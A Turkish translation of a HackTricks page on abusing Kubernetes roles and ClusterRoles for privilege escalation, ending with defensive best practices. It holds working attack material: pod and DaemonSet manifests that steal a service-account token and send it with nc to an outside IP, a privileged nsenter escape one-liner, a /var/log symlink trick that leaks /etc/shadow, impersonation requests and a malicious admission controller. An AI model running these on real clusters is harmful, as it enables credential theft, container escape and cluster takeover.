Abusing Roles/ClusterRoles in Kubernetes

AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

Burada bazı potansiyel olarak tehlikeli Roller ve ClusterRoller yapılandırmalarını bulabilirsiniz. kubectl api-resources komutuyla desteklenen tüm kaynakları alabilirsiniz.

Ayrıcalık Yükseltme

Kubernetes'te farklı ayrıcalıklara sahip bir farklı prensipale erişim elde etme sanatı olarak bahsedilen (kubernetes kümesi içinde veya harici bulutlara) ayrıcalıkları yükseltmenin temel olarak 4 ana tekniği bulunmaktadır:

  • Kubernetes kümesi içinde veya harici bulutlara daha iyi ayrıcalıklara sahip olan diğer kullanıcı/grup/SA'ları taklit edebilme

  • Kendi pod'larınızı oluşturabilme/patchleyebilme/çalıştırabilme ve kubernetes kümesi içinde veya harici bulutlara daha iyi ayrıcalıklara sahip olan SA'ları bulabilme veya bağlayabilme

  • SA'ların token'larının saklandığı gizli bilgileri okuyabilme

  • Bir konteynerden bir düğüme kaçabilme, bu sayede düğümde çalışan konteynerlerin tüm gizli bilgilerini, düğümün kimlik bilgilerini ve bulutta (varsa) düğümün izinlerini çalabilme

  • Bir pod'da port-forward çalıştırabilme yeteneği, bu sayede o pod içinde ilginç kaynaklara erişebilme olasılığına sahip olabilirsiniz.

Herhangi Bir Kaynağa veya Fiile Erişim (Joker)

Joker (*) herhangi bir kaynağa herhangi bir fiil ile erişim izni verir. Bu, yöneticiler tarafından kullanılır. Bir ClusterRole içinde bu, saldırganın kümedeki herhangi bir ad alanını kötüye kullanabileceği anlamına gelir.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Belirli bir fiil ile Herhangi Bir Kaynağa Erişim

RBAC'de, bazı izinler önemli riskler oluşturur:

  1. create: Herhangi bir küme kaynağını oluşturma yetkisi verir ve ayrıcalık yükselmesine neden olabilir.

  2. list: Tüm kaynakları listeleme izni verir ve hassas verilerin sızmasına neden olabilir.

  3. get: Hizmet hesaplarından gizli bilgilere erişimi sağlar ve güvenlik tehdidi oluşturur.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Oluşturma - Token Çalma

Bir saldırgan, bir pod oluşturma izinlerine sahipse, pod'a ayrıcalıklı bir Hizmet Hesabı ekleyebilir ve Hizmet Hesabı'nı taklit etmek için token'ı çalabilir. Bu şekilde ayrıcalıkları artırabilir.

Saldırganın bootstrap-signer hizmet hesabının token'ını çalacak ve saldırgana gönderecek bir pod örneği:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Oluşturma ve Kaçış

Aşağıdaki, bir konteynerin sahip olabileceği tüm ayrıcalıkları gösterir:

  • Ayrıcalıklı erişim (korumaları devre dışı bırakma ve yetenekleri ayarlama)

  • Ayrıcalıkları yükseltmeye yardımcı olabilecek hostIPC ve hostPid ad alanlarını devre dışı bırakma

  • hostNetwork ad alanını devre dışı bırakma, düğümlerin bulut ayrıcalıklarını çalmak ve ağlara daha iyi erişim sağlama

  • Konteyner içinde ana bilgisayarın / dizinini bağlama

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Aşağıdaki komutla pod oluşturun:

kubectl --token $token create -f mount_root.yaml

Bu tweet'ten bir satır ve bazı eklemelerle:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Şimdi, düğümden kaçabildiğinizi kontrol edebilirsiniz. Post-exploitasyon tekniklerine geçelim:

Gizlilik

Muhtemelen daha gizli olmak istersiniz, aşağıdaki sayfalarda, önceki şablonda belirtilen bazı yetkilendirmeleri etkinleştirerek yalnızca erişebileceğiniz şeyleri görebilirsiniz:

  • Ayrıcalıklı + hostPID

  • Yalnızca ayrıcalıklı

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Önceki ayrıcalıklı pod yapılandırmalarını nasıl oluşturup kötüye kullanacağınızın örneğini https://github.com/BishopFox/badPods adresinde bulabilirsiniz.

Pod Oluşturma - Buluta Geçiş

Bir pod (ve isteğe bağlı olarak bir hizmet hesabı) oluşturabiliyorsanız, bir poda veya hizmet hesabına bulut rolleri atayarak bulut ortamında ayrıcalıklar elde edebilir ve ardından buna erişebilirsiniz. Ayrıca, ana bilgisayar ağı ad alanına sahip bir pod oluşturabilirseniz, düğüm örneğinin IAM rolünü çalabilirsiniz.

Daha fazla bilgi için kontrol edin:

Pod Escape Privileges

Deployment, Daemonset, Statefulset, Replicationcontroller, Replicaset, Job ve Cronjob Oluşturma/Değiştirme

Bu izinleri kötüye kullanarak önceki örnekte olduğu gibi yeni bir pod oluşturmak ve ayrıcalıklarını ele geçirmek mümkündür.

Aşağıdaki yaml, bir daemonset oluşturur ve pod içindeki SA'nın belirteci çalınır:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Podlar Exec

pods/exec, kubernetes'te bir kaynak olan bir pod içinde kabukta komut çalıştırmak için kullanılır. Bu, konteynerlerin içinde komut çalıştırmaya veya bir kabuğa girmeye olanak sağlar.

Bu nedenle, bir pod'un içine girip SA'nın token'ını çalmak mümkündür veya ayrıcalıklı bir pod'a girmek, düğümden kaçmak ve düğümdeki tüm podların token'larını çalmak ve düğümü (kötüye) kullanmak mümkündür:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Bu izin, belirtilen pod içindeki bir porta bir yerel portu yönlendirmek için kullanılır. Bu, bir pod içinde çalışan uygulamaları kolayca hata ayıklamak için kullanılması amaçlanmıştır, ancak bir saldırgan, bir pod içindeki ilginç (örneğin DB'ler) veya savunmasız uygulamalara (web?) erişmek için bunu kötüye kullanabilir:

kubectl port-forward pod/mypod 5000:5000

Ana Makinelere Yazılabilir /var/log/ Kaçışı

Bu araştırmada belirtildiği gibi, ana makinede /var/log/ dizini bağlanmış bir pod'a erişebilir veya oluşturabilirseniz, konteynerden kaçabilirsiniz. Bu temel olarak, Kube-API'nin bir konteynerin günlüklerini almak için (kubectl logs <pod> kullanarak) pod'un /logs/ uç noktasını kullanarak 0.log dosyasını istemesidir. Kubelet servisi, konteynerin /var/log dosya sistemini temel olarak açığa çıkaran /logs/ uç noktasını sunar.

Bu nedenle, bir saldırganın konteynerin /var/log/ klasörüne yazma erişimi olduğunda bu davranışları 2 şekilde kötüye kullanabileceği:

  • Konteynerin 0.log dosyasını (genellikle /var/logs/pods/namespace_pod_uid/container/0.log konumunda bulunur) örneğin /etc/shadow'a işaret eden bir sembolik bağlantı yaparak değiştirmek. Ardından, ana makinenin shadow dosyasını çıkarabilirsiniz:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Eğer saldırgan, nodes/log'u okuma iznine sahip herhangi bir başlığı kontrol ediyorsa, /host-mounted/var/log/sym'de bir sembolik bağlantı oluşturabilir ve https://<gateway>:10250/logs/sym/'e eriştiğinde ana bilgisayarın kök dosya sistemini listeleyebilir (sembolik bağlantıyı değiştirmek dosyalara erişim sağlayabilir).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Bypassing readOnly protection

Eğer şanslıysanız ve yüksek ayrıcalıklı CAP_SYS_ADMIN yeteneği mevcutsa, sadece klasörü rw olarak yeniden bağlayabilirsiniz:

mount -o rw,remount /hostlogs/

hostPath readOnly korumasını atlatma

Bu araştırmada belirtildiği gibi, korumayı atlamak mümkündür:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Bu, öncekiler gibi kaçışları önlemek için bir hostPath bağlama noktası kullanmak yerine, bir PersistentVolume ve bir PersistentVolumeClaim kullanarak bir ana bilgisayar klasörünü yazılabilir erişimle bir konteynere bağlamak için kullanılan bir yöntemdir.

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Ayrıcalıklı hesapları taklit etmek

Bir kullanıcı taklit etme yetkisi ile saldırgan, ayrıcalıklı bir hesabı taklit edebilir.

Bir kullanıcıyı taklit etmek için kubectl komutunda --as=<kullanıcıadı> parametresini kullanın veya bir grup taklit etmek için --as-group=<grup> parametresini kullanın:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Veya REST API'sini kullanın:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Sırları Listeleme

Sırları listeleme izni, saldırganın gerçekten sırları okumasına izin verebilir REST API uç noktasına erişerek.

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Bir sırrı okuma - belirli bir token ID'sini brute-force etme

Okuma izinlerine sahip bir saldırganın, sırrı kullanmak için tam adını bilmesi gerekmektedir. Ancak, daha geniş bir sırları listeleme yetkisinden farklı olarak, hala güvenlik açıkları bulunmaktadır. Sistemdeki varsayılan hizmet hesapları numaralandırılabilir ve her biri bir sır ile ilişkilendirilebilir. Bu sırların bir ad yapısı vardır: statik bir önek ve ardından bir rastgele beş karakterlik alfasayısal belirteç (belirli karakterleri hariç tutarak) kaynak koduna göre.

Belirteç, tam alfasayısal aralığın yerine sınırlı bir 27 karakterlik kümeden (bcdfghjklmnpqrstvwxz2456789) oluşturulur. Bu sınırlama, toplam olası kombinasyonları 14,348,907'ye (27^5) indirger. Sonuç olarak, bir saldırgan, hassas hizmet hesaplarına erişerek ayrıcalık yükseltmesine yol açabilecek bir brute-force saldırısı gerçekleştirebilir.

Sertifika İmzalama İstekleri

Eğer certificatesigningrequests kaynağında create fiillerine sahipseniz (veya en azından certificatesigningrequests/nodeClient içinde), yeni bir düğümün yeni bir CeSR'sini oluşturabilirsiniz.

Belgelendirmeye göre, bu istekleri otomatik olarak onaylamak mümkündür, bu durumda ek izinlere ihtiyaç duymazsınız. Aksi takdirde, isteği onaylayabilmeniz için certificatesigningrequests/approval içinde güncelleme yapabilmeniz ve signers içinde <signerNameDomain>/<signerNamePath> veya <signerNameDomain>/* ile onaylayabilmeniz gerekmektedir.

Tüm gerekli izinlere sahip bir rolün örneği şu şekildedir:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Yeni düğüm CSR onaylandıktan sonra, düğümlerin özel izinlerini kötüye kullanarak sırları çalmak ve yetkileri yükseltmek mümkün.

Bu yazıda ve bu yazıda GKE K8s TLS Bootstrap yapılandırması otomatik imzalama ile yapılandırılmış ve yeni bir K8s Düğümünün kimlik bilgilerini oluşturmak ve ardından bu kimlik bilgilerini kullanarak yetkileri yükseltmek için kötüye kullanılmıştır. Eğer söz konusu yetkilere sahipseniz aynı şeyi yapabilirsiniz. İlk örnekte, düğüm yalnızca üzerine bağlanmış olan konteynerlerin sırlarına erişimi engelleyen hatayı atlatır.

Bunu atlatmanın yolu, sırları çalmak istediğiniz konteynerin bağlı olduğu düğüm adı için bir düğüm kimlik bilgisi oluşturmaktır (ancak bunu nasıl yapacağınızı ilk yazıda kontrol edin):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

AWS'de bulunan EKS (Elastic Kubernetes Service) kümesinde kube-system ad alanında configmaps değiştirebilen yetkililer, aws-auth configmap'i üzerine yazarak küme yönetici ayrıcalıklarını elde edebilirler. Gerekli fiiller update ve patch veya configmap oluşturulmadıysa create'dir:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Diğer hesaplardan kullanıcılara erişim sağlamak için kalıcılık için aws-auth kullanabilirsiniz.

Ancak, aws --profile other_account eks update-kubeconfig --name <cluster-name> farklı bir hesaptan çalışmaz. Ancak aslında aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing çalışır, sadece ad yerine kümenin ARN'sini koyarsanız. kubectl'nin çalışması için, sadece hedefin kubeconfig'ini yapılandırın ve aws exec args'a --profile other_account_role ekleyin, böylece kubectl, tokeni almak ve AWS ile iletişim kurmak için diğer hesap profiline kullanacaktır.

GKE'de Yükseltme

GCP prensiplerine K8s izinleri atamanın 2 yolu vardır. Her durumda, prensip ayrıca küme erişimi için kimlik bilgilerini toplayabilmesi için container.clusters.get iznine de ihtiyaç duyar veya kendi kubectl yapılandırma dosyanızı oluşturmanız gerekecektir (aşağıdaki bağlantıyı takip edin).

K8s api uç noktasıyla konuşurken, GCP kimlik doğrulama belirteci gönderilecektir. Ardından, GCP, K8s api uç noktası aracılığıyla, öncelikle prensibin (e-posta ile) küme içinde herhangi bir erişime sahip olup olmadığını kontrol edecek, ardından GCP IAM üzerinden herhangi bir erişime sahip olup olmadığını kontrol edecektir. Eğer bunlardan herhangi biri doğruysa, yanıt verilecektir. Eğer doğru değilse, GCP IAM üzerinden izin verilmesi önerisinde bulunan bir hata verilecektir.

İlk yöntem, GCP IAM'ı kullanmaktır, K8s izinlerinin eşdeğer GCP IAM izinleri vardır ve prensip bunlara sahipse kullanabilir.

GCP - Container Privesc

İkinci yöntem, kullanıcıyı e-posta (GCP hizmet hesapları dahil) ile tanımlayarak küme içinde K8s izinleri atamaktır.

serviceaccounts token oluşturma

TokenRequests (serviceaccounts/token) oluşturabilen prensipler K8s api uç noktasıyla konuşurken SAs oluşturabilir (bilgi burada).

ephemeralcontainers

pods/ephemeralcontainersgüncelleme veya yama yapabilen prensipler, bir geçici konteyner ekleyerek diğer podlarda kod yürütebilir ve potansiyel olarak bir ayrıcalıklı securityContext ile kendi düğümünden çıkabilir.

ValidatingWebhookConfigurations veya MutatingWebhookConfigurations

validatingwebhookconfigurations veya mutatingwebhookconfigurations üzerinde oluşturma, güncelleme veya yama fiillerinden herhangi birine sahip olan prensipler, ayrıcalıkları yükseltmek için bu tür bir webhook yapılandırmasını oluşturabilir.

mutatingwebhookconfigurations örneği için bu bölüme bakın.

Yükseltme

Aşağıdaki bölümde okuyabileceğiniz gibi: Dahili Ayrıcalıklı Yükseltme Önlemleri, bir prensip, bu yeni izinlere sahip olmadan rolleri veya küme rollerini güncelleyemez veya oluşturamaz. Ancak escalate fiiline sahipse roles veya clusterroles üzerinde, kendisinden daha iyi izinlere sahip yeni rolleri veya küme rollerini güncelleyebilir/oluşturabilir.

Nodes proxy

nodes/proxy alt kaynağına erişimi olan prensipler, Kubelet API'si aracılığıyla podlarda kod yürütebilir (buradan bu bilgiye göre). Kubelet kimlik doğrulaması hakkında daha fazla bilgi için bu sayfaya bakın:

Kubelet Authentication & Authorization

Yetkili bir Kubelet API ile konuşarak RCE almak için burada yetkili bir örneğe sahipsiniz.

Podları silme + planlanamayan düğümler

Podları silebilen (pods kaynağı üzerinde silme fiili), podları boşaltabilen (pods/eviction kaynağı üzerinde oluşturma fiili) veya pod durumunu değiştirebilen (pods/status'a erişim) ve diğer düğümleri planlanamaz hale getirebilen (nodes/status'a erişim) veya düğümleri silebilen (nodes kaynağı üzerinde silme fiili) ve bir pod üzerinde kontrolü olan prensipler, diğer düğümlerden podları çalabilir, böylece podlar etkilenmiş düğümde çalıştırılır ve saldırgan bu podlardan tokenleri çalabilir.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Hizmet durumu (CVE-2020-8554)

services/status'yi değiştirebilen yetkililer, düzeltilmemiş CVE-2020-8554'ü istismar etmek ve küme karşı MiTM saldırıları başlatmak için status.loadBalancer.ingress.ip alanını ayarlayabilirler. CVE-2020-8554 için çoğu önlem, YönlendiriciIP hizmetlerini engeller (bkz. burası).

Düğümler ve Pod'ların durumu

nodes/status veya pods/status üzerinde güncelleme veya yama izinlerine sahip yetkililer, zamanlama kısıtlamalarını etkilemek için etiketleri değiştirebilirler.

Dahili Ayrıcalık Yükseltme Önlemleri

Kubernetes, ayrıcalık yükseltmeyi önlemek için dahili bir mekanizmaya sahiptir.

Bu sistem, kullanıcıların rolleri veya rol bağlantılarını değiştirerek ayrıcalıklarını yükseltememesini sağlar. Bu kuralın uygulanması API düzeyinde gerçekleşir ve RBAC yetkilendiricisi etkin olmasa bile bir güvenlik sağlar.

Kural, bir kullanıcının bir rol oluşturabilmesi veya güncelleyebilmesi için rolün içerdiği tüm izinlere sahip olması gerektiğini belirtir. Dahası, kullanıcının mevcut izinlerinin kapsamı, oluşturmayı veya değiştirmeyi denediği rolün kapsamıyla uyumlu olmalıdır: ClusterRoles için küme genelinde veya Roller için aynı ad alanına (veya küme genelinde) sınırlı.

Önceki kurala bir istisna vardır. Eğer bir yetkili, roles veya clusterroles üzerinde escalate fiilini kullanıyorsa, kendi izinleri olmasa bile rollerin ve küme rollerinin ayrıcalıklarını artırabilir.

RoleBindings/ClusterRoleBindings Al ve Yama

Görünüşe göre bu teknik önceden çalışıyordu, ancak testlerime göre artık çalışmıyor, çünkü önceki bölümde açıklandığı gibi, zaten sahip olmadığınız bir yetkiyi kendinize veya farklı bir SA'ya vermek için bir rol bağlantısı oluşturamazsınız/değiştiremezsiniz.

Rolebindings oluşturma yetkisi, bir kullanıcının rolleri bir hizmet hesabına bağlamasına izin verir. Bu yetki, kompromize edilmiş bir hizmet hesabına yönetici ayrıcalıklarını bağlama potansiyeline sahip olduğundan ayrıcalık yükseltmeye yol açabilir.

Diğer Saldırılar

Yan araç proxy uygulaması

Varsayılan olarak, podlar arasındaki iletişimde herhangi bir şifreleme yoktur. İki yönlü, poddan poda karşılıklı kimlik doğrulama.

Yan araç proxy uygulaması oluşturma

.yaml dosyanızı oluşturun.

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Yaml dosyanızı düzenleyin ve aşağıdaki satırları yorum işaretini kaldırarak ekleyin:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Proxy'nin günlüklerini görüntüleyin:

kubectl logs app -C proxy

Daha fazla bilgi için: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Zararlı Kabul Denetleyicisi

Bir kabul denetleyicisi, nesnenin kalıcılığından önce Kubernetes API sunucusuna yapılan istekleri onaylar. Ancak istek kimlik doğrulandıktan ve yetkilendirildikten sonra gerçekleşir.

Bir saldırgan, bir Mutasyon Kabul Denetleyicisi enjekte etmeyi başarırsa, zaten kimlik doğrulanan istekleri değiştirebilir. Bu, potansiyel olarak ayrıcalık yükseltme ve daha yaygın olarak kümede kalıcılık sağlama yeteneği anlamına gelir.

Örnek: https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Durumunu kontrol etmek için hazır olup olmadığını kontrol edin:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
mutating-webhook-status-check.PNG

Ardından yeni bir pod dağıtın:

kubectl run nginx --image nginx
kubectl get po -w

ErrImagePull hatasını gördüğünüzde, görüntü adını aşağıdaki sorgulardan biriyle kontrol edin:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
malicious-admission-controller.PNG

Yukarıdaki resimde gördüğünüz gibi, nginx görüntüsünü çalıştırmayı denedik, ancak sonunda çalıştırılan görüntü rewanthtammana/malicious-image oldu. Ne oldu!?

Teknik Detaylar

./deploy.sh betiği, istekleri değiştiren bir webhook kabul denetleyicisi oluşturur ve yapılandırma satırlarında belirtilen şekilde Kubernetes API'sine yapılan istekleri değiştirir, gözlemlenen sonuçları etkiler:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Yukarıdaki kod parçacığı, her poddaki ilk konteyner görüntüsünü rewanthtammana/malicious-image ile değiştirir.

En İyi Uygulamalar

Servis Hesabı Tokenlarının Otomatik Bağlanmasını Devre Dışı Bırakma

  • Podlar ve Servis Hesapları: Varsayılan olarak, podlar bir servis hesabı tokenunu bağlar. Güvenliği artırmak için, Kubernetes bu otomatik bağlama özelliğini devre dışı bırakmayı sağlar.

  • Nasıl Uygulanır: Kubernetes sürümü 1.6'dan başlayarak, servis hesapları veya podların yapılandırmasında automountServiceAccountToken: false olarak ayarlayın.

RoleBindings/ClusterRoleBindings'de Kısıtlı Kullanıcı Ataması

  • Seçici Dahil Etme: RoleBindings veya ClusterRoleBindings içinde yalnızca gerekli kullanıcıların bulunduğundan emin olun. Sık sık denetleyin ve ilgisiz kullanıcıları kaldırarak sıkı güvenliği koruyun.

Namespace-Specific Rollerin Cluster-Wide Rollerden Daha İyi Kullanılması

  • Roller vs. ClusterRoller: İzinlerin namespace'e özgü olması için ClusterRoles ve ClusterRoleBindings yerine Roller ve RoleBindings kullanmayı tercih edin. Bu yaklaşım daha ince kontrol sağlar ve izinlerin kapsamını sınırlar.

Otomatik Araçlar Kullanma

Referanslar

AWS hackleme konusunda sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated